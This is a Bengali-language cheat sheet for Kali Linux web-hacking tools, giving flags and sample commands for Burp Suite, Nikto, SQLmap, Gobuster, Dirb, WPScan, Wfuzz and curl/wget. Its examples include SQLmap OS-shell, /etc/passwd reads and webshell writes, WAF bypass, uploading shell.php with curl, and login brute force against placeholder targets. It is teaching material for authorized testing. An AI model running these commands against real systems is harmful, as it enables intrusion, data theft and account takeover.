KALI LINUX SERIES

Kali Linux — Part 2

Web Hacking Tools — সম্পূর্ণ বাংলা গাইড

Burp Suite, Nikto, SQLmap, Gobuster, Dirb, WPScan, Wfuzz, Curl — Web Application Hacking-এর সব প্রয়োজনীয় tool-এর সম্পূর্ণ command reference, প্রতিটি flag-এর বাংলা ব্যাখ্যা সহ।

```
root@kali:~# sqlmap -u "http://target.com/page?id=1" --dbs
root@kali:~# gobuster dir -u http://target.com -w
/usr/share/wordlists/dirb/common.txt
root@kali:~# nikto -h http://target.com -o scan.html
```

Burp Suite | Nikto | SQLmap | Gobuster | Dirb | WPScan | Wfuzz | Curl / Wget

02

📋 বিষয়সূচি — Part 2

01 Burp Suite — Web Proxy Framework

Proxy, Intercept, Repeater, Intruder, Scanner, Decoder, Comparer

Shortcuts, FoxyProxy setup, HTTPS certificate install

02 Nikto — Web Server Scanner

সব flags, Output formats, Plugin ব্যবহার

03 SQLmap — SQL Injection Automation

Basic injection, Database dump, File read/write, OS shell, সব flags

04 Gobuster — Directory & Subdomain Brute Force

dir, dns, vhost mode — সব flags

05 Dirb / Dirbuster — Directory Scanner

Recursive scan, Custom wordlist, Output options

06 WPScan — WordPress Scanner

Plugin/Theme vulnerability, User enumeration, Password brute force

07 Wfuzz — Web Fuzzer

Parameter fuzzing, Header fuzzing, Auth bypass, Filter options

08 Curl & Wget — HTTP Manipulation

Header manipulation, Cookie, Auth, Request method, File download

CHAPTER 01

🔫 Burp Suite — Web Proxy Framework সম্পূর্ণ গাইড

Web traffic intercept, modify, replay — Web App Hacking-এর সবচেয়ে গুরুত্বপূর্ণ টুল

Burp Suite

🔫

PortSwigger-এর তৈরি industry-standard web security testing framework — Community ও Professional দুটো version আছে

Web Proxy Vulnerability Scanner Fuzzer Brute Force

🚀 Burp Suite চালু করা

```
# Terminal থেকে চালু করো root@kali:~# burpsuite # অথবা GUI থেকে: Applications → Web Application Analysis → burpsuite # Java manually দিয়ে চালু করো (যদি লাগে) root@kali:~# java -jar /usr/bin/burpsuite
```

⚙️ Proxy Setup — Browser Configure করা

💡 Burp-এর Proxy কীভাবে কাজ করে?

Browser → Burp Proxy (127.0.0.1:8080) → Internet। Browser-এর সব traffic Burp-এর মধ্য দিয়ে যায়, তুমি intercept, modify করতে পারো।

ধাপ	কাজ
1	Burp Suite চালু করো → Proxy → Options → 127.0.0.1:8080 চেক করো

ধাপ	কাজ
2	Firefox-এ FoxyProxy install করো (recommended) অথবা Manual Proxy → HTTP: 127.0.0.1, Port: 8080
3	HTTPS intercept-এর জন্য: http://burp → Download certificate → Firefox Cert Manager-এ import করো
4	Proxy → Intercept → "Intercept is on" করো

🎯 Burp Suite-এর Module গুলো

📡 Proxy — Traffic Intercept

কাজ	কীভাবে করব
Request intercept করো	`Proxy → Intercept → Intercept is on`
Request forward করো	`Forward button / Ctrl+F`
Request drop করো	`Drop button`
Request history দেখো	`Proxy → HTTP history`
Request Repeater-এ পাঠাও	`Right click → Send to Repeater / Ctrl+R`
Request Intruder-এ পাঠাও	`Right click → Send to Intruder / Ctrl+I`
Match & Replace rule যোগ করো	`Proxy → Options → Match and Replace`

🔁 Repeater — Request Replay

কাজ	কীভাবে
Request পাঠাও	`Send button / Ctrl+Enter`
Request manually edit করো	`Request panel-এ সরাসরি edit করো`
Response দেখো	`Response panel (right side)`
History navigate করো	`← → buttons`

কাজ	কীভাবে
নতুন tab খোলো	`+ button`
Render করে দেখো	`Response → Render tab`

🎲 Intruder — Automated Attack

> ⚠️ **Community Edition-এ Intruder throttled (ধীর) — Professional-এ দ্রুত**

Attack Type	কাজ	ব্যবহার
`Sniper`	একটি payload set, একটি position-এ iterate করে	`Single field fuzzing`
`Battering Ram`	একই payload সব position-এ একসাথে দেয়	`Username=Password test`
`Pitchfork`	একাধিক payload set, সমান্তরালে iterate করে	`Username:Password list`
`Cluster Bomb`	সব payload-এর সব combination চেষ্টা করে	`Brute force`

```
# Intruder workflow: # 1. Request intercept করো → Send to Intruder (Ctrl+I) # 2. Positions tab → Attack Type বেছে নাও # 3. যেখানে payload বসাবে সেখানে § mark করো (Add § button) # 4. Payloads tab → Payload type বেছে নাও (Simple list / Wordlist) # 5. Start Attack button চাপো # 6. Results-এ Status code / Length দেখে anomaly খোঁজো
```

🔬 Scanner (Professional Only)

কাজ	কীভাবে
Active scan চালাও	`Target → Site map → Right click → Actively scan`
Passive scan দেখো	`Dashboard → Issue activity`
Scan config করো	`Scanner → Scan configuration`
Vulnerability report বের করো	`Target → Site map → Issues → Right click → Report`

🔎 Other Tools

Tool	কাজ	কীভাবে ব্যবহার
`Decoder`	Base64, URL, HTML, Hex encode/decode করো	`Decoder tab → paste → select encoding`
`Comparer`	দুটো request/response compare করো	`Right click → Send to Comparer`
`Sequencer`	Session token randomness analyze করো	`Right click on token → Send to Sequencer`
`Target → Site Map`	পুরো target-এর structure দেখো	`Target tab → Site map`
`Logger`	সব HTTP request log করো	`Logger tab (BApp Store)`

⌨️ Burp Suite Keyboard Shortcuts

Shortcut	কাজ
`Ctrl + R`	Repeater-এ পাঠাও
`Ctrl + I`	Intruder-এ পাঠাও
`Ctrl + F`	Forward intercepted request
`Ctrl + Enter`	Request send (Repeater)

Shortcut	কাজ
`Ctrl + Z`	Undo (request editor)
`Ctrl + A`	Select all text
`Ctrl + S`	Project save
`Ctrl + Shift + B`	Base64 encode (selected)

🧩 দরকারী BApp Extensions

Extension	কাজ
Logger++	Advanced request logging
Autorize	Authorization bypass testing (IDOR)
J2EEScan	Java application vulnerability scanning
SQLiPy	SQLmap integration
Turbo Intruder	High-speed Intruder (Race condition testing)
Active Scan++	Extra active scan checks
Param Miner	Hidden parameter discovery
Upload Scanner	File upload vulnerability testing

CHAPTER 02

🔍 Nikto — Web Server Vulnerability Scanner

Web server misconfiguration, outdated software, dangerous files — সব scan করো automatically

🔍

nikto

Open-source web server scanner — ৬৭০০+ vulnerability ও misconfiguration check করতে পারে

Web Scanner Active Recon

Flag	কাজ	উদাহরণ
`-h host`	Target host বা IP specify করো	`nikto -h target.com`
`-p port`	নির্দিষ্ট port scan করো (default: 80)	`nikto -h target.com -p 8080`
`-p 80,443,8080`	Multiple port scan করো	`nikto -h target.com -p 80,443`
`-ssl`	SSL/HTTPS force করো	`nikto -h target.com -ssl`
`-o file`	Output file-এ save করো	`nikto -h target.com -o scan.html`
`-Format html`	Output format — html, csv, xml, txt, json	`nikto -h target -o r.html -Format html`
`-Tuning x`	Scan category filter করো (নিচে দেখো)	`nikto -h target -Tuning 9`
`-useproxy`	Proxy দিয়ে scan করো (Burp-এর সাথে)	`nikto -h target -useproxy http://127.0.0.1:8080`
`-id user:pass`	HTTP Basic Auth দিয়ে scan করো	`nikto -h target -id admin:password`
`-C all`	CGI directory সব check করো	`nikto -h target -C all`
`-nossl`	SSL disable করো	`nikto -h target -nossl`

Flag	কাজ	উদাহরণ
`-timeout sec`	Request timeout set করো	`nikto -h target -timeout 10`
`-Plugins list`	Available plugins দেখাও	`nikto -list-plugins`
`-update`	Nikto database update করো	`nikto -update`
`-Display V`	Verbose output দেখাও	`nikto -h target -Display V`
`-nolookup`	DNS lookup বন্ধ করো (দ্রুত)	`nikto -h 192.168.1.1 -nolookup`
`-evasion x`	IDS evasion technique ব্যবহার করো	`nikto -h target -evasion 1`
`-iL hosts.txt`	File থেকে multiple host scan করো	`nikto -iL hosts.txt`
`-maxtime 1h`	Maximum scan time set করো	`nikto -h target -maxtime 30m`

🎯 Tuning Options — কোন category scan করব

নম্বর	Category
0	File Upload vulnerability
1	Interesting file / Seen in logs
2	Misconfiguration / Default file
3	Information Disclosure
4	Injection (XSS/Script/HTML)
5	Remote File Retrieval — Inside Web Root
6	Denial of Service
7	Remote File Retrieval — Server Wide
8	Command Execution / Remote Shell
9	SQL Injection

নম্বর	Category
a	Authentication Bypass
b	Software Identification
c	Remote Source Inclusion
x	Reverse Tuning options (exclude chosen)

```
# Basic scan root@kali:~# nikto -h http://target.com # Full scan with HTML report
root@kali:~# nikto -h http://target.com -o report.html -Format html # HTTPS scan
root@kali:~# nikto -h https://target.com -ssl # Burp proxy দিয়ে (traffic capture করতে)
root@kali:~# nikto -h target.com -useproxy http://127.0.0.1:8080 # SQL injection ও
auth bypass check করো root@kali:~# nikto -h target.com -Tuning 9a # নির্দিষ্ট port-এ scan
করো ও save করো root@kali:~# nikto -h target.com -p 8080 -o scan_8080.txt -Format txt
```

CHAPTER 03

💉 SQLmap — SQL Injection Automation

Automatic SQL injection detection ও exploitation — database dump থেকে OS shell পর্যন্ত

sqlmap

💉

World-এর সবচেয়ে powerful open-source SQL injection tool — automatic detection, exploitation ও data extraction করে

SQL Injection Web Hacking Auto Exploit

🎯 Target Specification

Flag	কাজ	উদাহরণ
`-u URL`	Target URL specify করো (GET parameter)	`-u "http://target.com/page?id=1"`
`--data "params"`	POST data দাও	`--data "user=a&pass=b"`
`-r file.txt`	Burp থেকে save করা HTTP request file দাও	`-r request.txt`
`--cookie "c=v"`	Cookie সহ request পাঠাও	`--cookie "PHPSESSID=abc123"`
`-p param`	নির্দিষ্ট parameter test করো	`-p "id"`
`--headers "H: V"`	Custom header যোগ করো	`--headers "X-Forwarded-For: 127.0.0.1"`
`--user-agent "UA"`	Custom User-Agent সেট করো	`--user-agent "Mozilla/5.0"`
`--random-agent`	Random User-Agent ব্যবহার করো	`--random-agent`
`--proxy`	Proxy দিয়ে scan করো	`--proxy "http://127.0.0.1:8080"`
`--tor`	Tor নেটওয়ার্ক ব্যবহার করো	`--tor`

🔍 Detection Options

Flag	কাজ
`--level=1-5`	Test level (1=basic, 5=maximum) — level বাড়লে বেশি test হয় কিন্তু ধীর
`--risk=1-3`	Risk level — 3 মানে সব ধরনের injection, data modify হতে পারে
`--technique=BEUSTQ`	SQLi technique specify করো: B=Boolean, E=Error, U=Union, S=Stacked, T=Time, Q=Inline
`--dbms=mysql`	Database type force করো (mysql, mssql, oracle, postgresql, sqlite)
`--string "text"`	True response-এ থাকা unique string দাও
`--not-string`	False response-এ থাকা string দাও

🗄️ Database Enumeration

Flag	কাজ	উদাহরণ
`--dbs`	সব database-এর নাম বের করো	`sqlmap -u "url?id=1" --dbs`
`-D dbname --tables`	নির্দিষ্ট database-এর সব table দেখাও	`-D mydb --tables`
`-D db -T table --columns`	Table-এর সব column দেখাও	`-D mydb -T users --columns`
`-D db -T table --dump`	পুরো table dump করো	`-D mydb -T users --dump`
`--dump-all`	সব database-এর সব table dump করো	`--dump-all`
`-C col1,col2 --dump`	নির্দিষ্ট column dump করো	`-C "username,password" --dump`
`--current-db`	বর্তমান database-এর নাম দেখাও	`--current-db`
`--current-user`	বর্তমান DB user দেখাও	`--current-user`
`--users`	সব DB user দেখাও	`--users`
`--passwords`	DB user password hash বের করো	`--passwords`
`--privileges`	DB user-এর privilege দেখাও	`--privileges`

Flag	কাজ	উদাহরণ
`--is-dba`	Current user DBA কিনা check করো	`--is-dba`
`--count`	Table-এ row count দেখাও	`-T users --count`
`--where "cond"`	Condition দিয়ে filter করো	`--where "id > 5"`

💻 File & OS Operations

Flag	কাজ	উদাহরণ
`--file-read`	Server-এর file পড়ো (যদি permission থাকে)	`--file-read "/etc/passwd"`
`--file-write`	Server-এ file লেখো (webshell upload!)	`--file-write "shell.php"`
`--file-dest`	Server-এ file লেখার destination path	`--file-dest "/var/www/html/shell.php"`
`--os-shell`	Interactive OS shell পাও (DBA হলে)	`--os-shell`
`--os-cmd "cmd"`	Single OS command execute করো	`--os-cmd "whoami"`
`--sql-shell`	Interactive SQL shell পাও	`--sql-shell`
`--sql-query "q"`	Custom SQL query চালাও	`--sql-query "SELECT version()"`

⚡ Performance & Evasion

Flag	কাজ
`--threads=10`	Concurrent threads বাড়াও (দ্রুত হবে)
`--time-sec=5`	Time-based injection-এ delay সেট করো
`--tamper=space2comment`	WAF bypass tamper script ব্যবহার করো
`--tamper=charencode`	Character encoding দিয়ে WAF bypass
`--flush-session`	Previous session data মুছে নতুন করো

Flag	কাজ
`--fresh-queries`	Cache ignore করো, নতুন query করো
`--batch`	সব prompt-এ default answer দিয়ে auto-run করো
`-v 3`	Verbose level — 0-6 (3 = payload দেখা যায়)

```
# Basic GET parameter injection check root@kali:~# sqlmap -u "http://target.com/item?id=1" --dbs # POST request injection (login form) root@kali:~# sqlmap -u "http://target.com/login" --data="user=a&pass=b" --dbs # Burp request file দিয়ে (সবচেয়ে ভালো পদ্ধতি) root@kali:~# sqlmap -r burp_request.txt --dbs --batch # Cookie-based injection root@kali:~# sqlmap -u "http://target.com/" --cookie "id=1" -p id --dbs # সব user dump করো root@kali:~# sqlmap -u "url?id=1" -D webapp -T users --dump # OS shell পাও (high privilege দরকার) root@kali:~# sqlmap -u "url?id=1" --os-shell # WAF bypass করে scan করো root@kali:~# sqlmap -u "url?id=1" --tamper="space2comment,charencode" --dbs --random-agent # /etc/passwd পড়ো root@kali:~# sqlmap -u "url?id=1" --file-read="/etc/passwd"
```

CHAPTER 04

📂 Gobuster — Directory & DNS Brute Forcer

Hidden directory, file, subdomain, virtual host খোঁজো wordlist দিয়ে — দ্রুততম tool

gobuster

Go দিয়ে লেখা fast brute force tool — dir, dns, vhost, fuzz, s3 mode আছে

Dir Brute DNS Enum VHost Scan

📂 dir mode — Directory & File Brute Force

Flag	কাজ	উদাহরণ
`-u URL`	Target URL specify করো	`-u http://target.com`
`-w wordlist`	Wordlist file দাও	`-w /usr/share/wordlists/dirb/common.txt`
`-x ext`	File extension check করো	`-x php,html,txt,bak`
`-t threads`	Thread count বাড়াও (default: 10)	`-t 50`
`-o file`	Output save করো	`-o results.txt`
`-s codes`	কোন status code দেখাবে (default: 200,204,301,302,307)	`-s 200,301`
`-b codes`	কোন status code hide করবে (blacklist)	`-b 404,403`
`-k`	SSL certificate verify skip করো	`-k`
`-c cookie`	Cookie যোগ করো (auth-এর পরে scan)	`-c "PHPSESSID=abc123"`

Flag	কাজ	উদাহরণ
`-H header`	Custom header যোগ করো	`-H "Authorization: Bearer token"`
`-a agent`	Custom User-Agent সেট করো	`-a "Mozilla/5.0"`
`-e`	Full URL print করো	`-e`
`-r`	Redirect follow করো	`-r`
`--timeout`	Request timeout সেট করো	`--timeout 5s`
`-z`	Progress দেখাও না (quiet mode)	`-z`
`--wildcard`	Wildcard response আসলেও চালিয়ে যাও	`--wildcard`

🌐 dns mode — Subdomain Brute Force

Flag	কাজ	উদাহরণ
`-d domain`	Target domain specify করো	`-d target.com`
`-w wordlist`	Subdomain wordlist দাও	`-w subdomains.txt`
`-r resolver`	Custom DNS resolver ব্যবহার করো	`-r 8.8.8.8`
`--show-cname`	CNAME records দেখাও	`--show-cname`
`--show-ips`	IP address দেখাও	`--show-ips`

🏠 vhost mode — Virtual Host Discovery

Flag	কাজ	উদাহরণ
`-u URL`	Base URL specify করো	`-u http://target.com`
`-w wordlist`	Virtual host wordlist দাও	`-w vhosts.txt`
`--append-domain`	Domain suffix automatically যোগ করো	`--append-domain`

```
# Basic directory scan root@kali:~# gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt # File extension সহ scan করো root@kali:~# gobuster dir -u http://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak,zip -t 50 # HTTPS scan (cert skip) root@kali:~# gobuster dir -u https://target.com -w common.txt -k -t 30 # Cookie দিয়ে authenticated scan root@kali:~# gobuster dir -u http://target.com/admin -w common.txt -c "session=abc123" -t 40 # DNS subdomain brute force root@kali:~# gobuster dns -d target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 30 --show-ips # VHost discovery root@kali:~# gobuster vhost -u http://target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain # Output save করো root@kali:~# gobuster dir -u http://target.com -w common.txt -o gobuster_results.txt -t 50 -e
```

💡 Best Wordlists for Gobuster

- `/usr/share/wordlists/dirb/common.txt` — Small, fast
- `/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt` — Medium, comprehensive
- `/usr/share/seclists/Discovery/Web-Content/big.txt` — Large
- `/usr/share/seclists/Discovery/Web-Content/raft-large-words.txt` — Very large

CHAPTER 05

📂 Dirb — Web Content Scanner

Recursive directory scanning — সহজ এবং কার্যকর

📂 dirb

Web content scanner — HTTP response এর উপর ভিত্তি করে hidden files ও directories খোঁজে

Dir Scan Web Recon

Flag	কাজ	উদাহরণ
`dirb http://target.com`	Default wordlist দিয়ে scan করো	`dirb http://target.com`
`dirb url wordlist.txt`	Custom wordlist দিয়ে scan করো	`dirb http://target.com /usr/share/wordlists/dirb/big.txt`
`-o file`	Output file-এ save করো	`-o results.txt`
`-r`	Non-recursive mode (subdirectory scan বন্ধ)	`-r`
`-S`	Silent mode — found result শুধু দেখাও	`-S`
`-X ext`	Extension suffix যোগ করো	`-X .php,.html`
`-z ms`	Request-এর মধ্যে millisecond delay	`-z 100`
`-c cookie`	Cookie সেট করো	`-c "session=abc"`
`-u user:pass`	HTTP auth username:password দাও	`-u admin:password`

Flag	কাজ	উদাহরণ
`-H header`	Custom header যোগ করো	`-H "X-Custom: value"`
`-p proxy`	Proxy দিয়ে scan করো	`-p http://127.0.0.1:8080`
`-N code`	নির্দিষ্ট HTTP code ignore করো	`-N 302`
`-w`	Warning message দেখাও না	`-w`
`-f`	Fine tuning — 404 response এর উপর ভিত্তি করে	`-f`

```
# Default wordlist দিয়ে scan root@kali:~# dirb http://target.com # Custom wordlist + PHP extension + output save root@kali:~# dirb http://target.com /usr/share/wordlists/dirb/big.txt -X .php,.bak -o dirb_results.txt # Cookie দিয়ে authenticated scan root@kali:~# dirb http://target.com/admin -c "PHPSESSID=abc123" -S # Burp proxy দিয়ে root@kali:~# dirb http://target.com -p http://127.0.0.1:8080
```

VS Gobuster vs Dirb vs Dirsearch

Tool	গতি	সুবিধা	ব্যবহার
Gobuster	দ্রুততম	Multi-threaded, Go দিয়ে লেখা	CTF, Bug Bounty
Dirb	মাঝারি	Simple, Recursive, Built-in wordlist	Quick scan
Dirsearch	দ্রুত	Python, Extension support, Beautiful output	Comprehensive scan
Feroxbuster	সবচেয়ে দ্রুত	Rust, Recursive, Smart filtering	Large targets

CHAPTER 06

🔑 WPScan — WordPress Security Scanner

WordPress plugin, theme, user, vulnerability — সব কিছু scan করো

🔑 wpscan

WordPress-specific black box security scanner — WPVulnDB থেকে vulnerability data নেয়

WordPress CMS Scanner Brute Force

Flag	কাজ	উদাহরণ
`--url URL`	Target WordPress site URL দাও	`--url http://wp-target.com`
`--enumerate u`	User enumerate করো	`--enumerate u`
`--enumerate p`	Plugin enumerate করো	`--enumerate p`
`--enumerate t`	Theme enumerate করো	`--enumerate t`
`--enumerate vp`	Vulnerable plugins খোঁজো	`--enumerate vp`
`--enumerate vt`	Vulnerable themes খোঁজো	`--enumerate vt`
`--enumerate ap`	সব plugin enumerate করো	`--enumerate ap`
`--enumerate at`	সব theme enumerate করো	`--enumerate at`
`--enumerate cb`	Config backup file খোঁজো	`--enumerate cb`
`--enumerate dbe`	DB export file খোঁজো	`--enumerate dbe`
`-P wordlist.txt`	Password brute force করো	`-P /usr/share/wordlists/rockyou.txt`
`-U username`	নির্দিষ্ট username brute force করো	`-U admin`

Flag	কাজ	উদাহরণ
`--api-token TOKEN`	WPVulnDB API token দাও (বেশি info)	`--api-token YOUR_TOKEN`
`--detection-mode`	Detection mode: passive/aggressive/mixed	`--detection-mode aggressive`
`--throttle ms`	Request-এর মধ্যে millisecond delay	`--throttle 200`
`-o file`	Output save করো	`-o wp_scan.txt`
`--format json`	JSON format-এ output	`--format json -o output.json`
`--proxy`	Proxy দিয়ে scan করো	`--proxy http://127.0.0.1:8080`
`--update`	WPScan database update করো	`wpscan --update`

```
# Basic scan root@kali:~# wpscan --url http://wp-target.com # User, Plugin, Theme সব enumerate করো root@kali:~# wpscan --url http://wp-target.com --enumerate u,vp,vt,cb # User enumerate করে brute force করো root@kali:~# wpscan --url http://wp-target.com --enumerate u -P /usr/share/wordlists/rockyou.txt # Aggressive mode — সব plugin check করো root@kali:~# wpscan --url http://wp-target.com --enumerate ap --detection-mode aggressive # API token সহ full scan root@kali:~# wpscan --url http://wp-target.com --enumerate u,ap,at,cb,dbe --api-token YOUR_TOKEN -o wp_full.json --format json # নির্দিষ্ট user-এ brute force root@kali:~# wpscan --url http://wp-target.com -U admin -P /usr/share/wordlists/rockyou.txt --throttle 200
```

CHAPTER 07

Wfuzz — Web Application Fuzzer

URL, parameter, header, cookie — যেকোনো জায়গায় payload inject করো ও response analyze করো

wfuzz

Flexible web fuzzer — FUZZ keyword দিয়ে যেকোনো জায়গায় payload দাও, filter করে interesting response বের করো

Fuzzing Web Testing Brute Force

FUZZ keyword

Wfuzz-এ `FUZZ` লিখলে সেখানে wordlist-এর প্রতিটি word replace হয়। একাধিক FUZZ position-এ FUZZ, FUZ2Z, FUZ3Z ব্যবহার করো।

Basic Fuzzing

Flag	কাজ	উদাহরণ
`-w wordlist`	Wordlist file দাও	`-w /usr/share/wordlists/dirb/common.txt`
`-u URL/FUZZ`	FUZZ position সহ URL দাও	`-u http://target.com/FUZZ`
`-z payload`	Payload type specify করো (file, list, range, alphanum)	`-z file,wordlist.txt`
`-d "data"`	POST data দাও FUZZ সহ	`-d "user=FUZZ&pass=test"`
`-b cookie`	Cookie সেট করো	`-b "session=abc"`
`-H header`	Custom header সেট করো	`-H "Host: FUZZ.target.com"`

Flag	কাজ	উদাহরণ
`-X method`	HTTP method সেট করো	`-X POST`
`-t threads`	Concurrent threads	`-t 40`
`-s secs`	Request-এর মধ্যে delay	`-s 0.5`
`-p proxy`	Proxy দিয়ে route করো	`-p 127.0.0.1:8080`
`-o file`	Output save করো	`-o results.html`
`-f file,html`	Format সহ output save করো	`-f output.html,html`

🔎 Filter Options — Response Filter করা

Flag	কাজ	উদাহরণ
`--hc codes`	নির্দিষ্ট HTTP code hide করো (hide code)	`--hc 404,403`
`--sc codes`	শুধু নির্দিষ্ট HTTP code দেখাও (show code)	`--sc 200,301`
`--hl lines`	নির্দিষ্ট line count-এর response hide করো	`--hl 9`
`--sl lines`	নির্দিষ্ট line count-এর response দেখাও	`--sl 50`
`--hw words`	নির্দিষ্ট word count-এর response hide করো	`--hw 240`
`--sw words`	নির্দিষ্ট word count-এর response দেখাও	`--sw 100`
`--hs string`	নির্দিষ্ট string আছে এমন response hide করো	`--hs "Not Found"`
`--ss string`	নির্দিষ্ট string আছে এমন response দেখাও	`--ss "Welcome"`

```
# Directory brute force root@kali:~# wfuzz -c -w /usr/share/wordlists/dirb/common.txt
--hc 404 http://target.com/FUZZ # GET parameter fuzzing root@kali:~# wfuzz -c -w
params.txt --hc 404 "http://target.com/page?FUZZ=value" # POST login brute force
(username fixed, password fuzz) root@kali:~# wfuzz -c -w
/usr/share/wordlists/rockyou.txt --hc 302 -d "user=admin&pass=FUZZ"
```

```
http://target.com/login # VHost fuzzing (subdomain discovery) root@kali:~# wfuzz -c -w
subdomains.txt --sc 200 -H "Host: FUZZ.target.com" http://target.com # Cookie-based
auth scan root@kali:~# wfuzz -c -w wordlist.txt --hc 404 -b "session=FUZZ"
http://target.com/profile # Multiple FUZZ (username:password combination) root@kali:~#
wfuzz -c -z file,users.txt -z file,passwords.txt --hc 302 -d "user=FUZZ&pass=FUZ2Z"
http://target.com/login # File extension fuzzing root@kali:~# wfuzz -c -w
extensions.txt --sc 200 "http://target.com/config.FUZZ"
```

CHAPTER 08

📡 Curl & Wget — HTTP Request Manipulation

Manual HTTP request পাঠানো, header manipulation, cookie, auth — command line থেকে পুরো control

📡 curl

Client URL — HTTP/HTTPS/FTP সহ ২৫+ protocol support করে। Web security testing-এর জন্য অপরিহার্য

HTTP Client API Testing

🌐 Curl — Basic Usage

Flag	কাজ	উদাহরণ
`curl URL`	Basic GET request পাঠাও	`curl http://target.com`
`-I / --head`	শুধু HTTP header দেখাও (response body ছাড়া)	`curl -I http://target.com`
`-v`	Verbose — request ও response সব দেখাও	`curl -v http://target.com`
`-o file`	Response file-এ save করো	`curl -o page.html http://target.com`
`-O`	Remote filename দিয়ে save করো	`curl -O http://target.com/file.zip`
`-L`	Redirect follow করো	`curl -L http://target.com`
`-k / --insecure`	SSL certificate check skip করো	`curl -k https://target.com`
`-s`	Silent mode — progress bar দেখাবে না	`curl -s http://target.com`

🔧 Request Manipulation

Flag	কাজ	উদাহরণ
`-X METHOD`	HTTP method specify করো	`curl -X POST http://target.com/api`
`-X DELETE`	DELETE request পাঠাও	`curl -X DELETE http://api/resource/1`
`-X PUT`	PUT request পাঠাও	`curl -X PUT -d '{"k":"v"}' http://api/`
`-d "data"`	POST data পাঠাও	`curl -d "user=admin&pass=1234" http://target.com/login`
`-d @file`	File থেকে POST data পাঠাও	`curl -d @payload.txt http://target.com`
`-H "Header: Value"`	Custom header যোগ করো	`curl -H "X-Admin: true" http://target.com`
`-H "Content-Type: application/json"`	JSON content type set করো	`curl -H "Content-Type: application/json" -d '{"id":1}' url`
`-H "Authorization: Bearer TOKEN"`	Bearer token authentication	`curl -H "Authorization: Bearer eyJ..." url`
`-u user:pass`	Basic HTTP Authentication	`curl -u admin:password http://target.com`
`-b "cookie=value"`	Cookie পাঠাও	`curl -b "PHPSESSID=abc123" http://target.com`
`-c cookie.txt`	Response cookie file-এ save করো	`curl -c cookies.txt http://target.com/login`
`-b cookie.txt`	File থেকে cookie পাঠাও	`curl -b cookies.txt http://target.com`
`-A "agent"`	Custom User-Agent সেট করো	`curl -A "Mozilla/5.0" http://target.com`
`-e "referer"`	Referer header সেট করো	`curl -e "http://google.com" http://target.com`
`-x proxy`	Proxy দিয়ে request করো	`curl -x http://127.0.0.1:8080 http://target.com`
`--data-urlencode`	URL encode করে data পাঠাও	`curl --data-urlencode "q=hello world" url`
`-F "file=@path"`	File upload করো (multipart/form-data)	`curl -F "upload=@shell.php" http://target.com/upload`

Flag	কাজ	উদাহরণ
`--max-time sec`	Maximum request time সেট করো	`curl --max-time 10 http://target.com`

```
# Server header information দেখো root@kali:~# curl -I http://target.com # POST login request পাঠাও root@kali:~# curl -X POST -d "username=admin&password=test" -v http://target.com/login # JSON API request root@kali:~# curl -X POST -H "Content-Type: application/json" -d '{"username":"admin","password":"pass"}' http://target.com/api/login # Session cookie save করো তারপর ব্যবহার করো root@kali:~# curl -c cookies.txt -d "user=admin&pass=123" http://target.com/login root@kali:~# curl -b cookies.txt http://target.com/admin # File upload test করো (webshell) root@kali:~# curl -F "file=@shell.php" -b "session=abc" http://target.com/upload.php -v # Burp proxy দিয়ে route করো root@kali:~# curl -x http://127.0.0.1:8080 -k -v http://target.com/api/users # Authorization header bypass test করো root@kali:~# curl -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 127.0.0.1" http://target.com/admin
```

📥 Wget — File Download ও Mirroring

Flag	কাজ	উদাহরণ
`wget URL`	File download করো	`wget http://target.com/file.zip`
`-O file`	নির্দিষ্ট নামে save করো	`wget -O output.zip http://target.com/a.zip`
`-q`	Quiet mode — output দেখাবে না	`wget -q http://target.com/file`
`-r`	Recursive download করো	`wget -r http://target.com`
`--mirror`	পুরো website mirror করো	`wget --mirror http://target.com`
`--no-check-certificate`	SSL check skip করো	`wget --no-check-certificate https://target.com`
`--header "H: V"`	Custom header যোগ করো	`wget --header "Cookie: session=abc" url`
`--post-data "d"`	POST data পাঠাও	`wget --post-data "user=a&pass=b" url`
`--user-agent "UA"`	Custom User-Agent সেট করো	`wget --user-agent "Googlebot" url`

Flag	কাজ	উদাহরণ
`-c`	Incomplete download continue করো	`wget -c http://target.com/bigfile.iso`
`-i urls.txt`	File থেকে multiple URL download করো	`wget -i urls.txt`
`--spider`	File download না করে check শুধু করো	`wget --spider http://target.com`

🌐 Web Hacking Workflow — সঠিক পদ্ধতি

- 1 **Recon:** Nikto দিয়ে server scan, Gobuster দিয়ে hidden directory খোঁজো
- 2 **Proxy:** Burp Suite চালু করে সব traffic intercept করো
- 3 **Manual Test:** Burp Repeater দিয়ে manually request modify করো
- 4 **SQLi:** Parameter-এ SQLmap চালাও (Burp request file দিয়ে)
- 5 **Brute Force:** Login-এ Burp Intruder বা Wfuzz ব্যবহার করো
- 6 **WordPress:** WPScan দিয়ে plugin vulnerability ও user খোঁজো

🌐 "The web is the largest attack surface — know your tools well."

সব কিছু authorized environment-এ practice করো। অন্যের web application-এ permission ছাড়া কোনো কিছু করা illegal।

Kali Linux Series — Part 2 | v1.0 | Web Hacking Tools

Part 3: Exploitation Tools (Metasploit, Searchsploit, msfvenom) →